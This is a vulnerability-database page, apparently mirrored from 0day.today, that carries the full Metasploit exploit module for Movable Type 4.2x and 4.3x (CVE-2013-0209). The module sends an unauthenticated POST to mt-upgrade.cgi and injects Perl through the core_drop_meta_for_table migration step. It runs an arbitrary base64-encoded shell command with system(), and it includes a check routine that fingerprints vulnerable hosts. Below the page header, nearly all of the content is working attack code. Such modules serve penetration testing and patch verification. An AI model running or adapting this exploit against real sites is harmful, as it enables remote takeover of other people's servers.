Lucene search
K

Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution

🗓️ 24 Jan 2013 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 22 Views

Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution module to execute payload on MoveableType (MT) via crafted POST request to mt-upgrade.cgi script, allowing perl code injection due to core_drop_meta_for_table migration function

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2013-0209
23 Jan 201301:55
attackerkb
Circl
CVE-2012-6315
7 Jan 201300:00
circl
Circl
CVE-2013-0209
7 Jan 201300:00
circl
Check Point Advisories
Movable Type 4.2x 4.3x Upgrade Script RCE Script Injection - Ver2 (CVE-2012-6315)
31 Mar 201400:00
checkpoint_advisories
Check Point Advisories
Movable Type Web Upgrade Remote Code Execution (CVE-2013-0209)
6 Dec 201600:00
checkpoint_advisories
CVE
CVE-2012-6315
23 Jan 201301:00
cve
CVE
CVE-2013-0209
23 Jan 201301:00
cve
Cvelist
CVE-2012-6315
23 Jan 201301:00
cvelist
Cvelist
CVE-2013-0209
23 Jan 201301:00
cvelist
Debian
[SECURITY] [DSA 2611-1] movabletype-opensource security update
22 Jan 201306:35
debian
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
 
    include Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',
            'Description'    => %q{
                    This module can be used to execute a payload on MoveableType (MT) that
                    exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
                    that is used during installation and updating of the platform.
                    The vulnerability arises due to the following properties:
                    1. This script may be invoked remotely without requiring authentication
                    to any MT instance.
                    2. Through a crafted POST request, it is possible to invoke particular
                    database migration functions (i.e functions that bring the existing
                    database up-to-date with an updated codebase) by name and with
                    particular parameters.
                    3. A particular migration function, core_drop_meta_for_table, allows
                    a class parameter to be set which is used directly in a perl eval
                    statement, allowing perl code injection.
            },
            'Author'         =>
                [
                    'Kacper Nowak',
                    'Nick Blundell',
                    'Gary O\'Leary-Steele'
                ],
            'References'     =>
                [
                    ['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate)
                    ['CVE', '2013-0209'],
                    ['URL', 'http://www.sec-1.com/blog/?p=402'],
                    ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html']
                ],
            'Arch'       => ARCH_CMD,
            'Payload'    =>
                {
                    'Compat' =>
                        {
                            'PayloadType' => 'cmd'
                        }
                },
            'Platform'   =>
                [
                    'win',
                    'unix'
                ],
            'Targets'    =>
                [
                    ['Movable Type 4.2x, 4.3x', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 07 2013",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])
            ], self.class)
    end
 
    def check
        @peer = "#{rhost}:#{rport}"
        fingerprint = rand_text_alpha(5)
        print_status("#{@peer} - Sending check...")
        begin
            res = http_send_raw(fingerprint)
        rescue Rex::ConnectionError
            return Exploit::CheckCode::Unknown
        end
        if (res)
            if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
                return Exploit::CheckCode::Vulnerable
            elsif (res.code != 200)
                return Exploit::CheckCode::Unknown
            else
                return Exploit::CheckCode::Safe
            end
        else
            return Exploit::CheckCode::Unknown
        end
    end
 
    def exploit
        @peer = "#{rhost}:#{rport}"
        print_status("#{@peer} - Sending payload...")
        http_send_cmd(payload.encoded)
    end
 
    def http_send_raw(cmd)
        path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'
        pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')
        send_request_cgi(
            {
                'uri'       => path,
                'method'    => 'POST',
                'vars_post' =>
                    {
                        '__mode'     => 'run_actions',
                        'installing' => '1',
                        'steps'      => %{[["core_drop_meta_for_table","class","#{pay}"]]}
                    }
            })
    end
 
    def http_send_cmd(cmd)
        pay = 'v0;use MIME::Base64;system(decode_base64(q('
        pay << Rex::Text.encode_base64(cmd)
        pay << ')));return 0'
        http_send_raw(pay)
    end
end

#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation